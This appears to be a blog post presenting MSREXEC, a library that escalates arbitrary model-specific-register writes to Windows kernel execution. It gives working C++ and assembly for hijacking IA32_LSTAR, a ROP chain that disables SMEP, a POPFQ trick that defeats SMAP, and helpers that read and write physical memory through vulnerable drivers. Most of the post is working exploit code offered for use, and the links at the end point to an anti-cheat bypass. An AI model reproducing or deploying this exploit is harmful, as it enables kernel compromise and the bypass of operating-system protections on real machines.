· 10 min read

MSREXEC - Elevate Arbitrary WRMSR to Kernel Execution

MSREXEC is a library to elevate arbitrary MSR (Model Specific Register) writes to kernel execution. The project is extremely modular and open ended on how writes to MSR’s are achieved...

MSREXEC is a library to elevate arbitrary MSR (Model Specific Register) writes to kernel execution. The project is extremely modular and open ended on how writes to MSR’s are achieved...

Download link: MSREXEC popfq_table

Table Of Contents


Introduction


MSREXEC is a library to elevate arbitrary MSR (Model Specific Register) writes to kernel execution. The project is extremely modular and open ended on how writes to MSR’s are achieved. One only has to pass a lambda of type std::function<bool(std::uint32_t reg, std::uint64_t value)> to the constructor of vdm::msrexec_ctx to use this library. For demonstration, the project is set up to exploit vulnerable Windows drivers, however the project is not limited to using vulnerable drivers.

MSREXEC Starter Code

writemsr_t _write_msr =
    [&](std::uint32_t reg, std::uintptr_t value) -> bool
{
    // put your code here to write MSR....
    // the code is defined in vdm::writemsr for me...
    return vdm::writemsr(reg, value);
};

vdm::msrexec_ctx msrexec(_write_msr);
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
    const auto dbg_print =
        reinterpret_cast<dbg_print_t>(
            get_kroutine(krnl_base, "DbgPrint"));

    dbg_print("> hello world!\n");
});

WRMSR - Write Model Specific Register

Writing to model specific registers is done via the WRMSR instruction. ECX contains the register, EDX contains the high 32bits of data, and ECX contains the lower 32bits of data.

void __writemsr(unsigned long reg, unsigned long long value)

MSR - Model Specific Registers

The model specific registers which MSREXEC writes to are IA32_LSTAR (LSTAR for short) and IA32_FMASK (FMASK for short). LSTAR contains the 64bit virtual address in which the instruction pointer is changed to after the syscall instruction is executed. FMASK contains a mask where bits that are set in the mask are cleared in EFLAGs when the syscall instruction is executed.

#define IA32_LSTAR 0xC0000082
#define IA32_FMASK 0xC0000084

KVA Shadowing & KiSystemCall64

LSTAR contains KiSystemCall64 normally, which is located inside of ntoskrnl.exe. However with the addition of KVA shadowing patches, LSTAR will point to KiSystemCall64Shadow. This is taken into account in the project by calling NtQuerySystemInformation with SystemKernelVaShadowInformation.

IA32_LSTAR With KVA Shadowing Disabled (KiSystemCall64)

3: kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`6a7eee80
3: kd> u fffff803`6a7eee80
nt!KiSystemCall64:
fffff803`6a7eee80 0f01f8              swapgs
fffff803`6a7eee83 654889242510000000  mov  qword ptr gs:[10h],rsp
fffff803`6a7eee8c 65488b2425a8010000  mov  rsp,qword ptr gs:[1A8h]
fffff803`6a7eee95 6a2b                push 2Bh
fffff803`6a7eee97 65ff342510000000    push qword ptr gs:[10h]
fffff803`6a7eee9f 4153                push r11
fffff803`6a7eeea1 6a33                push 33h
fffff803`6a7eeea3 51                  push rcx

IA32_LSTAR With KVA Shadowing Enabled (KiSystemCall64Shadow)

3: kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`0c223180
3: kd> u fffff803`0c223180
nt!KiSystemCall64Shadow:
fffff803`0c223180 0f01f8                swapgs
fffff803`0c223183 654889242510900000    mov  qword ptr gs:[9010h],rsp
fffff803`0c22318c 65488b242500900000    mov  rsp,qword ptr gs:[9000h]
fffff803`0c223195 650fba24251890000001  bt   dword ptr gs:[9018h],1
fffff803`0c22319f 7203                  jb   nt!KiSystemCall64Shadow+0x24
fffff803`0c2231a1 0f22dc                mov  cr3,rsp
fffff803`0c2231a4 65488b242508900000    mov  rsp,qword ptr gs:[9008h]
fffff803`0c2231ad 6a2b                  push 2Bh

Thread Scheduler - Interrupts & LSTAR

After setting LSTAR to something different then KiSystemCall64(Shadow), the next SYSCALL cannot be windows related. Thread priority is particularly important during the time in which LSTAR is changed and the next SYSCALL instruction is executed. If the thread scheduler interrupts the logical processor when LSTAR is not set to KiSystemCall64(Shadow) and reschedules it to run another thread in another process, the system will not be recoverable.

void msrexec_ctx::exec(callback_t kernel_callback)
{
    const thread_info_t thread_info =
    { 
        GetPriorityClass(GetCurrentProcess()), 
        GetThreadPriority(GetCurrentThread()) 
    };

    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

    // set LSTAR to first rop gadget... race begins here...
    if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
        std::printf("> failed to set LSTAR...\n");
    else
        // go go gadget kernel execution...
        syscall_wrapper(&kernel_callback);

    SetPriorityClass(GetCurrentProcess(), thread_info.first);
    SetThreadPriority(GetCurrentThread(), thread_info.second);
}

Existing Kernel Preventions


To prevent attackers from tricking the kernel into accessing and subsequently executing user controlled data/code, the kernel employs two CPU features, SMEP and SMAP. SMAP most recently being used in Windows 10 19H1.

SMEP - Supervisor Mode Execution Prevention Of User Supervisor Pages

SMEP is a CPU feature present in Intel Ivy Bridge CPUs and up, and AMD Family 17h, Family 15h model > 60h CPUs and up. SMEP is a bit in CR4 (Control Register Four). One can query support for SMEP via CPUID with EAX=7. SMEP prevents MSREXEC from just setting LSTAR to a user controlled page.

SMAP - Supervisor Mode Access Prevention Of User Supervisor Pages

SMAP is a CPU feature present in Intel 5th gen CPUs and up, and AMD family 17h CPUs and up. SMAP is a bit in CR4 (Control Register Four). One can query support for SMAP via CPUID with EAX=7. SMAP prevented MSREXEC from using ROP initially, however SMAP can be disabled from usermode via a POPFQ. (thanks @drew). The AC bit in EFLAGS can be set to disable SMAP. The instruction to set this bit, STAC, is a privileged instruction. It was initially assumed that since STAC was privileged that setting the AC bit is not possible in CPL3. However, this is not the case. One can set this bit in EFLAGs via POPFQ which pops a value off the stack into the EFLAGS register.

popfq_table

ROP - Return Oriented Programming


ROP is a technique in which an attacker uses instructions already in memory strung together by return instructions to execute a specially crafted sequence of instructions. MSREXEC uses ROP to disable SMEP and execute a syscall handler which is located in a user supervisor page. MSREXEC uses the following syscall wrapper to elevate to kernel execution.

Syscall Wrapper To Setup ROP Gadgets

syscall_wrapper proc
    push r10                    ; syscall puts RIP into rcx...
    pushfq                      ; restored after syscall...
    mov r10, rcx                ; swap r10 and rcx...
    push m_sysret_gadget        ; REX.W prefix...
    lea rax, finish             ; preserved value of RIP by putting it on the stack here...
    push rax                    ;
    push m_pop_rcx_gadget       ; gadget to put RIP back into rcx...
    push m_mov_cr4_gadget       ; turn SMEP back on...
    push m_smep_on              ; value of CR4 with smep off...
    push m_pop_rcx_gadget       ;
    lea rax, syscall_handler    ; rop to syscall_handler to handle the syscall...
    push rax                    ;
    push m_mov_cr4_gadget       ; disable SMEP...
    push m_smep_off             ; 
    pushfq                      ; thank you drew ;)
    pop rax                     ; this will set the AC flag in EFLAGS which "disables SMAP"...
    or rax, 040000h             ;
    push rax                    ;
    popfq                       ;

    syscall                     ; LSTAR points at a pop rcx gadget... 
                                ; it will put m_smep_off into rcx...
finish:
    popfq                       ; restore EFLAGS...
    pop r10                     ; restore r10...
    ret
syscall_wrapper endp

The main gadgets of this ROP chain are, a MOV CR4 gadget, a POP RCX gadget, and lastly a SYSRET gadget (REX prefixed). The only consistent MOV CR4 gadgets across all Windows 10 kernels are MOV CR4, RCX gadgets. If you remember from the beginning RCX contains RIP after execution of the SYSCALL instruction. Thus the need for a POP RCX gadget.

These gadgets are located by LoadLibrary’ing kernel modules into the current process and enumerating each modules section finding executable sections which contain the desired ROP gadget. The linear virtual address of these gadgets are then calculated via adding the relative virtual address to the gadget and the base address of the kernel module obtained from NtQuerySystemInformation - SystemModuleInformation.

Syscall Handler - Restoring LSTAR & Calling Lambda

The syscall handler, which is located in usermode, restores LSTAR back to the original syscall handler. It then calls the lambda which was passed as a pointer in RCX (R10 and RCX get swapped).

Syscall Handler - MASM

syscall_handler proc
	swapgs							; swap gs to kernel gs (_KPCR...)
	mov rax, m_kpcr_rsp_offset		; save usermode stack to _KPRCB
	mov gs:[rax], rsp
	mov rax, m_kpcr_krsp_offset	    ; load kernel rsp....
	mov rsp, gs:[rax]

	push rcx						; push RIP
	push r11						; push EFLAGS

	mov rcx, r10					; swapped by syscall instruction so we switch it back...
	sub rsp, 020h
	call msrexec_handler			; call c++ handler (which restores LSTAR and calls lambda...)
	add rsp, 020h

	pop r11							; pop EFLAGS
	pop rcx							; pop RIP

	mov rax, m_kpcr_rsp_offset		; restore rsp back to usermode stack...
	mov rsp, gs:[rax]											

	swapgs							; swap back to TIB...
	ret
syscall_handler endp

With some creative liberty I have decided to pass two arguments to the lambda which are useful for the user of this library to locate kernel functions.

C++ Syscall Handler

using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;

void msrexec_handler(callback_t* callback)
{
	// restore LSTAR....
	__writemsr(IA32_LSTAR_MSR, m_system_call);

	// call usermode code...
	(*callback)(ntoskrnl_base, get_system_routine);
}

Example - VDM Integration


VDM (Vulnerable Driver Manipulation) is a code namespace in which vulnerable drivers of various sorts are systematically exploited to elevate to kernel execution. The cornerstone of this namespace is a library which abuses arbitrary physical read and write to elevate to kernel execution. The project (VDM) for short scans all physical memory for the physical page which contains the instructions of an ntoskrnl syscall routine. MSREXEC can be used to find this physical page in memory via MmGetPhysicalAddress. All projects which use VDM can now use MSREXEC.

Skip Scanning Physical Memory

The code below allows you to skip having to scan all of physical memory for a page containing a syscall routine. This MSREXEC call simply translates the linear virtual address of a syscall handler to the physical address in which it resides.

msrexec.exec
(
    [&](void* krnl_base, get_system_routine_t get_kroutine) -> void
    {
        const auto mm_get_phys =
            reinterpret_cast<mm_get_phys_t>(
                get_kroutine(krnl_base, "MmGetPhysicalAddress"));

        vdm::syscall_address.store(mm_get_phys(
            get_kroutine(krnl_base, vdm::syscall_hook.first)));
    }
);

Read Physical Memory Using MSREXEC

vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
    bool result = false;
    msrexec.exec
    (
        [&](void* krnl_base, get_system_routine_t get_kroutine) -> void
        {
            const auto mm_map =
                reinterpret_cast<mm_map_t>(
                    get_kroutine(krnl_base, "MmMapIoSpace"));

            const auto virt_map = mm_map(addr, size, NULL);

            if (!virt_map)
                return;

            result = memcpy(buffer, virt_map, size);

            const auto mm_unmap =
                reinterpret_cast<mm_unmap_t>(
                    get_kroutine(krnl_base, "MmUnmapIoSpace"));
        }
    );
    return result;
};

Write Physical Memory Using MSREXEC

vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
    bool result = false;
    msrexec.exec
    (
        [&](void* krnl_base, get_system_routine_t get_kroutine) -> void
        {
            const auto mm_map =
                reinterpret_cast<mm_map_t>(
                    get_kroutine(krnl_base, "MmMapIoSpace"));

            const auto virt_map = mm_map(addr, size, NULL);

            if (!virt_map)
                return;

            result = memcpy(virt_map, buffer, size);

            const auto mm_unmap =
                reinterpret_cast<mm_unmap_t>(
                    get_kroutine(krnl_base, "MmUnmapIoSpace"));
        }
    );
    return result;
};

Conclusion - Credits & Limitations


Limitations - HVCI & Hyper-V

Although this project is extremely modular in nature, both VDM & MSREXEC will not work on HVCI systems. The WRMSR instruction causes VMEXIT’s and Hyper-V will not allows LSTAR to be changed. Patching ntoskrnl is also not possible under Hyper-v.

Credit - Inspiration

  • @drew - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the STAC instruction could not be executed in usermode that POPFQ would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you!

  • @0xnemi / @everdox - mov ss/pop ss exploit 0xnemi’s use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution…

  • @Ch3rn0byl - donation of a few vulnerable drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled.

  • @namazso - originally hinting at this project many months ago. its finally done :)

  • @btbd - pointing out that LSTAR points to KiSystemCall64Shadow and not KiSystemCall64 when KVA shadowing is enabled, reguardless of AddressPolicy…

  • Device Driver Debauchery and MSR Madness

  • Intel Manual Volume 3 - 31.10.4.3

Back to Blog

Related Posts

View All Posts »
Voyager - A Hyper-V Hacking Framework

Voyager - A Hyper-V Hacking Framework

Voyager is a Hyper-V hijacking project based upon existing Hyper-V hijacking work by cr4sh which aims to extend the usability to AMD and earlier Windows 10 versions.

VDM - Vulnerable Driver Manipulation

VDM - Vulnerable Driver Manipulation

Exploiting vulnerable Windows drivers to leverage kernel execution is not a new concept. Although software that exploits vulnerable drivers has been around for a long time, there has yet to be a highly modular library of code that can be used to exploit multiple drivers exposing the same vulnerability...

Using BattlEye to Bypass EasyAntiCheat

Using BattlEye to Bypass EasyAntiCheat

To those of you who may not know, BattlEye is a popular anti cheat referred to as the “Golden Standard”; it is used to protect competitive play games such as Tom Clancy's Rainbow Six Siege, Fortnite, as well as Escape from Tarkov. In this write up I will be discussing the work I have done throughout this past month on their driver.